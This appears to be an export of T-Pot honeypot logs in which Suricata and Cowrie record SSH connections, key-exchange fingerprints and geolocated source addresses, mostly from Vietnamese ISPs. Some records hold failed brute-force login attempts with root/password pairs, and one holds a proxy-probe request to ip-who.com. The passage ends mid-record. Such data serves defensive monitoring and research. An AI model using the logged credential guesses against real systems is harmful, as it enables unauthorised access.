20669	157.245.53.4	109.199.241.180	Suricata	2021-09-20 14:05:21.043696+03	2021-09-20 14:15:02.670613+03	{"_id": "TwXhAnwBvYTbRNuEwfof", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh2_1.9.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {"ip": "157.245.53.4", "latitude": 37.751, "location": {"lat": 37.751, "lon": -97.822}, "timezone": "America/Chicago", "longitude": -97.822, "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "proto": "TCP", "src_ip": "157.245.53.4", "dest_ip": "192.168.20.116", "flow_id": 1183256694260663, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 51858, "dest_port": 22, "timestamp": "2021-09-20T11:05:21.043696Z", "@timestamp": "2021-09-20T11:05:21.043Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
20670	132.148.165.94	109.199.241.180	Cowrie	2021-09-20 14:05:27.442116+03	2021-09-20 14:15:02.672613+03	{"_id": "eAXhAnwBvYTbRNuE2fpj", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "tags": ["_geoip_lookup_failure"], "type": "Cowrie", "geoip": {"ip": "132.148.165.94", "dma_code": 753, "latitude": 33.6013, "location": {"lat": 33.6013, "lon": -111.8867}, "timezone": "America/Phoenix", "city_name": "Scottsdale", "longitude": -111.8867, "postal_code": "85260", "region_code": "AZ", "region_name": "Arizona", "country_name": "United States", "country_code2": "US", "country_code3": "US", "continent_code": "NA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "132.148.165.94", "eventid": "cowrie.session.closed", "message": "Connection lost after 1 seconds", "session": "09cb136133d8", "@version": "1", "duration": 1.7606446743011475, "timestamp": "2021-09-20T11:05:27.442116Z", "@timestamp": "2021-09-20T11:05:27.442Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
20671	116.105.211.46	109.199.241.180	Suricata	2021-09-20 14:06:11.966818+03	2021-09-20 14:15:02.673613+03	{"_id": "vAXiAnwBvYTbRNuEiPt1", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "116.105.211.46", "dest_ip": "192.168.20.116", "flow_id": 2226983142633355, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 54194, "dest_port": 22, "timestamp": "2021-09-20T11:06:11.966818Z", "@timestamp": "2021-09-20T11:06:11.966Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
20672	116.98.160.162	109.199.241.180	Suricata	2021-09-20 14:06:12.667732+03	2021-09-20 14:15:02.675613+03	{"_id": "wQXiAnwBvYTbRNuEiPt1", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "flow_id": 62162859226783, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 52304, "dest_port": 22, "timestamp": "2021-09-20T11:06:12.667732Z", "@timestamp": "2021-09-20T11:06:12.667Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
20673	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:06:12.092499+03	2021-09-20 14:15:02.676612+03	{"_id": "xAXiAnwBvYTbRNuEifuT", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "cea22d976ad8", "@version": "1", "timestamp": "2021-09-20T11:06:12.092499Z", "@timestamp": "2021-09-20T11:06:12.092Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
20674	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:06:12.205099+03	2021-09-20 14:15:02.677613+03	{"_id": "xQXiAnwBvYTbRNuEifuT", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "5689498eb0fb", "@version": "1", "timestamp": "2021-09-20T11:06:12.205099Z", "@timestamp": "2021-09-20T11:06:12.205Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
20675	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:06:12.371498+03	2021-09-20 14:15:02.678612+03	{"_id": "yQXiAnwBvYTbRNuEifuX", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.98.160.162:52304 (192.168.176.2:22) [session: 086285987bcc]", "session": "086285987bcc", "@version": "1", "protocol": "ssh", "src_port": 52304, "dest_port": 22, "timestamp": "2021-09-20T11:06:12.371498Z", "@timestamp": "2021-09-20T11:06:12.371Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
20676	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:06:12.392898+03	2021-09-20 14:15:02.679613+03	{"_id": "xwXiAnwBvYTbRNuEifuT", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "086285987bcc", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:06:12.392898Z", "@timestamp": "2021-09-20T11:06:12.392Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	\N
20683	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:06:13.4454+03	2021-09-20 14:15:02.688613+03	{"_id": "4QXiAnwBvYTbRNuEjfsx", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.login.failed", "message": "login attempt [root/batman] failed", "session": "5689498eb0fb", "@version": "1", "password": "batman", "username": "root", "timestamp": "2021-09-20T11:06:13.445400Z", "@timestamp": "2021-09-20T11:06:13.445Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
20677	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:06:12.668788+03	2021-09-20 14:15:02.681612+03	{"_id": "yAXiAnwBvYTbRNuEifuT", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "086285987bcc", "@version": "1", "timestamp": "2021-09-20T11:06:12.668788Z", "@timestamp": "2021-09-20T11:06:12.668Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
20678	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:06:13.961892+03	2021-09-20 14:15:02.682612+03	{"_id": "3wXiAnwBvYTbRNuEjfsx", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.98.160.162:47508 (192.168.176.2:22) [session: 65aa95ad449b]", "session": "65aa95ad449b", "@version": "1", "protocol": "ssh", "src_port": 47508, "dest_port": 22, "timestamp": "2021-09-20T11:06:13.961892Z", "@timestamp": "2021-09-20T11:06:13.961Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
20679	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:06:13.387036+03	2021-09-20 14:15:02.683613+03	{"_id": "4AXiAnwBvYTbRNuEjfsx", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.login.failed", "message": "login attempt [root/openelec] failed", "session": "26fb2e2ff8e6", "@version": "1", "password": "openelec", "username": "root", "timestamp": "2021-09-20T11:06:13.387036Z", "@timestamp": "2021-09-20T11:06:13.387Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
20680	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:06:13.658449+03	2021-09-20 14:15:02.684612+03	{"_id": "6AXiAnwBvYTbRNuEjfsx", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.session.closed", "message": "Connection lost after 3 seconds", "session": "5de38dafc0f9", "@version": "1", "duration": 3.1323904991149902, "timestamp": "2021-09-20T11:06:13.658449Z", "@timestamp": "2021-09-20T11:06:13.658Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
20681	115.72.130.93	109.199.241.180	Cowrie	2021-09-20 14:06:13.870348+03	2021-09-20 14:15:02.685612+03	{"_id": "5wXiAnwBvYTbRNuEjfsx", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "115.72.130.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "024b71a5e8c2", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:06:13.870348Z", "@timestamp": "2021-09-20T11:06:13.870Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
20682	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:06:13.948792+03	2021-09-20 14:15:02.687612+03	{"_id": "3QXiAnwBvYTbRNuEjfsx", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "dest_ip": "ip-who.com", "eventid": "cowrie.direct-tcpip.request", "message": "direct-tcp connection request to ip-who.com:80 from :0", "session": "8a9a673fb643", "@version": "1", "src_port": 0, "dest_port": 80, "timestamp": "2021-09-20T11:06:13.948792Z", "@timestamp": "2021-09-20T11:06:13.948Z", "t-pot_ip_ext": "109.199.241.180", 